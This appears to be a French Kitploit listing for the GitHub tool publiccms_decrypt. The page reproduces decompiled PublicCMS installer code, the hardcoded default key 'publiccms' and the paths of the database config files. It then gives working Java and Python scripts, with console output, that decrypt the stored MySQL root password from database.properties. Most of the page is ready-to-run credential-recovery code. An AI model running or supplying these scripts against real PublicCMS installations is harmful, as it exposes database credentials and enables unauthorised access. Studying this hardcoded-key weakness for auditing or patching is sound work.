Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
publiccms_decrypt — publiccms_decrypt | Kitploit
Outils/GitHubGitHub/jas502n/publiccms_decrypt
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb SecurityCryptography
GitHubjas502n/publiccms_decrypt

publiccms_decrypt

publiccms_decrypt

Voir le dépôt
41il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

publiccms_decrypt

https://github.com/sanluan/PublicCMS

publiccms-core-V4.0.202004.a.jar!/com/publiccms/common/constants/CommonConstants.class

publiccms-common-V4.0.202004.a.jar!/com/publiccms/common/tools/VerificationUtils.class

com.publiccms.common.tools.VerificationUtils

com.publiccms.common.servlet.InstallServlet

root@kitploit:~
private void configDatabase(HttpServletRequest request, Map<String, Object> map) {
    try {
      Properties dbconfig = PropertiesLoaderUtils.loadAllProperties("config/database-template.properties");
      String host = request.getParameter("host");
      String port = request.getParameter("port");
      String database = request.getParameter("database");
      String timeZone = request.getParameter("timeZone");
      this.cmsUpgrader.setDataBaseUrl(dbconfig, host, port, database, timeZone);
      dbconfig.setProperty("jdbc.username", request.getParameter("username"));
      dbconfig.setProperty("jdbc.encryptPassword", 
          VerificationUtils.base64Encode(VerificationUtils.encrypt(request.getParameter("password"), "publiccms")));
      String databaseConfiFile = CommonConstants.CMS_FILEPATH + "/database.properties";
      File file = new File(databaseConfiFile);
      try (FileOutputStream outputStream = new FileOutputStream(file)) {
        dbconfig.store(outputStream, (String)null);
      } 
      try (Connection connection = DatabaseUtils.getConnection(databaseConfiFile)) {
        map.put("usersql", Boolean.valueOf((new File(CommonConstants.CMS_FILEPATH + "/publiccms.sql")).exists()));
        map.put("message", "success");
      } 
    } catch (Exception e) {
      map.put("error", e.getMessage());
    } 
  }

Clé de chiffrement par défaut

root@kitploit:~
public static final String ENCRYPT_KEY = "publiccms";

Emplacement du fichier de configuration de la base de données

./publiccms/WEB-INF/classes/config/database-template.properties

./publiccms/WEB-INF/classes/config/database.properties

/webapps/ROOT/publiccms/data/database.properties

root@kitploit:~
jdbc.url=jdbc:mysql://192.168.240.21:3306/cms?characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&serverTimezone=GMT%2B08
hikariCP.idleTimeout=25000
jdbc.driverClassName=com.mysql.cj.jdbc.Driver
jdbc.username=root
jdbc.encryptPassword= 9xgiKaPSBm9y76PsUC+0Ig==

DESede en Java

https://baike.baidu.com/item/desede/4076053?fr=aladdin

Présentation de l'algorithme DESede (triple DES) :

root@kitploit:~
DESede est un algorithme de chiffrement symétrique issu de l'amélioration de l'algorithme de chiffrement symétrique DES. Il s'agit d'un mécanisme qui chiffre les données trois fois à l'aide d'une clé de 168 bits ; il offre généralement (mais pas toujours) une sécurité extrêmement robuste. Si les trois sous-éléments de 56 bits sont identiques, le triple DES reste rétrocompatible avec DES. Des améliorations ont été apportées aux problèmes de longueur de clé trop courte et de nombre d'itérations insuffisant de l'algorithme DES, renforçant ainsi la sécurité. Cependant, la lenteur de traitement de l'algorithme DESede, le temps de calcul de clé relativement long et la faible efficacité de chiffrement rendent le développement des algorithmes de chiffrement symétrique peu optimiste.
root@kitploit:~

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESedeKeySpec;

import java.util.Base64;
import java.util.Scanner;

import static com.publiccms.common.tools.VerificationUtils.sha1Encode;

public class Main {

    public static final String DEFAULT_CHARSET = "UTF-8";

    public static byte[] base64Decode(String input) {
        return Base64.getDecoder().decode(input);
    }

    public static String decrypt(byte[] input, String key) {
        try {
            byte[] sha1Key = sha1Encode(key).getBytes(DEFAULT_CHARSET);
            DESedeKeySpec dks = new DESedeKeySpec(sha1Key);
            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DESede");
            SecretKey sKey = keyFactory.generateSecret(dks);
            Cipher cipher = Cipher.getInstance("DESede");
            cipher.init(2, sKey);
            byte[] ciphertext = cipher.doFinal(input);
            return new String(ciphertext, DEFAULT_CHARSET);
        } catch (Exception var8) {
            return "";
        }
    }

    public static void main(String[] args) {
        System.out.println("[+] Please input your PublicCMS password:");
        System.out.println("[+] Example= 9xgiKaPSBm9y76PsUC+0Ig==");
        Scanner sc = new Scanner(System.in);
        System.out.print("[+] Encrypt_Password= ");
        String password = sc.nextLine();
        byte[] var2 = base64Decode(password);
        String var3 = decrypt(var2, "publiccms");
        System.out.println("[+] Decrypt_Password= " + var3);

    }
}

Sortie console java

root@kitploit:~
[+] Please input your PublicCMS password:
[+] Example= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Encrypt_Password= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Decrypt_Password= p@ssw0rd

Déchiffrer DESede avec Python

https://stackoverflow.com/questions/21982389/desede-in-java-and-3des-in-python

La clé par défaut est publiccms , chiffrée via SHA1 en 2435e960d9be985705455019cfd3bc84c39344db

On prend ensuite les 24 premiers caractères "2435e960d9be985705455019cfd3bc84c39344db"[0:24]

Script Python correspondant :

root@kitploit:~
from pyDes import *
import hashlib
import base64

def get_sha1(res:str):
    import hashlib
    """
    使用sha1加密算法,返回str加密后的字符串
    """
    sha = hashlib.sha1(res.encode('utf-8'))
    encrypts = sha.hexdigest()
    return encrypts[0:24]

def publiccms_decrypt(data, key):
    # key1 = "2435e960d9be985705455019cfd3bc84c39344db"[0:24]
    keys = get_sha1(key)
    print("[+] Key= " + keys)
    data = base64.b64decode(data)
    k = triple_des(keys, ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
    e = k.decrypt(data)
    return e.decode("utf-8")


data = "9xgiKaPSBm9y76PsUC+0Ig=="
key = "publiccms"
print("[+] EncryptData= " + data)
print("[+] PlainText= " + publiccms_decrypt(data, key))

Exemple de déchiffrement Python

root@kitploit:~
python3 publicms_decrypt.py

[+] EncryptData= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Key= 2435e960d9be985705455019
[+] PlainText= p@ssw0rd
Télécharger l’outil